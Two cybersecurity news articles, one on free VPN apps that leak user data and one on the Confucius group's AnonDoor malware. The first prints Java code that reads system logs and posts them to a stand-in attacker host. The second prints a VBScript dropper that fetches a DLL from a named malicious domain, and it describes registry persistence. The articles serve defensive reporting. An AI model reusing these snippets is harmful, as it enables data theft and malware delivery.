Mobile VPN apps promise to protect privacy and secure communications on smartphones, but a comprehensive analysis of nearly 800 free Android and iOS VPN applications reveals a troubling reality: many of these tools expose sensitive information rather than shield it.

From insecure configurations to dangerous permissions and outdated libraries, the apps that millions trust are often the weakest link in both personal and enterprise security.

The implications of widespread data leakage extend well beyond individual privacy—corporate networks, BYOD policies, and high-value targets all stand to suffer from unexpected exposures.

Emerging over the past year, this trend exploits users’ desire for cost-free encryption and unrestricted browsing.

Attackers hiding within otherwise legitimate VPN interfaces can intercept credentials, harvest device identifiers, and even record ambient audio.

Zimperium analysts noted the discovery of dozens of apps that transmitted unencrypted user metadata to remote servers, bypassing any semblance of secure tunnel encryption.

These findings underscore how easily threat actors can exploit the trust placed in free VPN services.

Initial infection vectors vary by platform. On Android, several VPN packages are repackaged with malicious modules that trigger stealth network requests upon app launch.

On iOS, misconfigured privacy manifests and over-permissive entitlements allow apps to silently collect and exfiltrate location, usage logs, and crash reports. In both ecosystems, a combination of missing certificate validation and exposed APIs creates fertile ground for man-in-the-middle and data-harvesting attacks.

Many victims remain unaware until unusual network traffic patterns or unexplained account lockouts emerge. Corporate defenders often dismiss free VPNs as harmless productivity tools, inadvertently granting them carte blanche within corporate firewalls.

By the time logs reveal outbound requests to dubious domains—complete with personal identifiers—the breach is already well underway.

Permission Abuse and Data Exfiltration

A critical mechanism enabling these leaks is the abuse of dangerous permissions that far exceed a VPN’s legitimate scope.

For instance, on Android, the READ_LOGS permission lets an app read all system logs—including fragments of user input and authentication tokens—and forward them to an attacker’s server.

A sample Java snippet below illustrates how easily a malicious module captures logs and delivers them via HTTP:-

Process process = Runtime.getRuntime().exec("logcat -d");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder log = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
    log.append(line).append("\n");
}
HttpURLConnection conn = (HttpURLConnection) new URL("https://malicious.example.com/collect").openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.getOutputStream().write(log.toString().getBytes(StandardCharsets.UTF_8));
conn.getInputStream();

This covert channel bypasses standard VPN encryption and sidesteps user awareness. On iOS, private entitlements such as LOCATION_ALWAYS grant constant GPS access, allowing apps to fuse real-time movement with browsing data.

This depicts the prevalence of excessive permissions among analyzed VPN apps. By exploiting permission overreach, these free VPN apps transform trusted privacy tools into surveillance platforms.

Users and organizations must scrutinize permissions and vet VPN providers rigorously, favoring solutions with transparent security practices and regular code maintenance.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hundreds of Free VPN Apps for Both Android and iOS Leaks Users Personal Data appeared first on Cyber Security News.

The Confucius hacker group, active since 2013, has recently escalated its operations by weaponizing malicious Office documents to compromise Windows endpoints with a new Python-based backdoor, dubbed AnonDoor.

Historically known for deploying document stealers such as WooperStealer, the threat actor has now shifted to a sophisticated multi-stage infection chain that leverages OLE-embedded scripts, VBScript droppers, PowerShell loaders, and scheduled tasks to achieve persistence and evade detection.

This evolution underscores the group’s commitment to refining its tradecraft and targeting high-value information across government and defense organizations in South Asia.

Initial access is most commonly achieved through spear-phishing campaigns that deliver corrupted PPSX or DOCX attachments.

When unsuspecting users open these documents, they encounter a “Corrupted Page” prompt that conceals an embedded OLE object.

This object triggers a background fetch of a secondary document, mango44NX.doc, from a remote server.

Fortinet researchers noted that the CMD stub within slide1.xml.rels initiates a VBScript dropper hosted at greenxeonsr.info, marking the first deployment of AnonDoor in this campaign.

Upon execution, the VBScript dropper performs the following steps: it creates an MSXML2.XMLHTTP object to download a raw DLL payload, writes the binary to %LocalAppData%\Mapistub.dll, and then stages execution via DLL side-loading.

The dropper also copies a legitimate executable to %AppData%\Swom.exe and writes a registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run to ensure the side-loaded DLL is launched on each login.

This strategy not only conceals the malicious binary within trusted processes but also provides robust persistence without generating conspicuous artifacts.

Infection Mechanism

The infection mechanism centers on leveraging a malicious Office payload to seamlessly introduce AnonDoor.

First, the document’s OLE object references an external VBScript hosted on greenxeonsr.info.

The script snippet below illustrates how the dropper leverages ADODB.Stream to save the downloaded bytes as a DLL:-

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.Open "GET", "https://greenxeonsr.info/Jsdfwejhrg.rko", False
objXMLHTTP.Send
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' Binary
objStream.Open
objStream.Write objXMLHTTP.responseBody
objStream.SaveToFile WScript.Network.UserName & "\Mapistub.dll", 2
objStream.Close

Once the DLL is in place, the dropper invokes a reconstructed ShellExecute call to launch Swom.exe, which side-loads the DLL into memory.

The DLL subsequently reaches out to multiple C2 domains—cornfieldblue.info and hauntedfishtree.info—to retrieve further payloads, including the WooperStealer module and additional configuration files.

This multi-layered approach ensures that even if one stage is detected, subsequent payloads can be dynamically fetched, analyzed, and replaced, complicating forensic investigations.

By chaining document-based exploitation with obfuscated scripting and DLL side-loading, Confucius demonstrates advanced operational security and resilience against endpoint defenses.

Defensive teams should prioritize monitoring for anomalous OLE object behaviour, unexpected registry modifications, and unusual DLL loads within Office processes.

Integrating heuristics that detect atypical stream writes to user directories and enforcing strict network segmentation can help mitigate this emerging threat.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Confucius Hacker Group Attacking Weaponizing Documents to Compromised Windows Systems With AnonDoor Malware appeared first on Cyber Security News.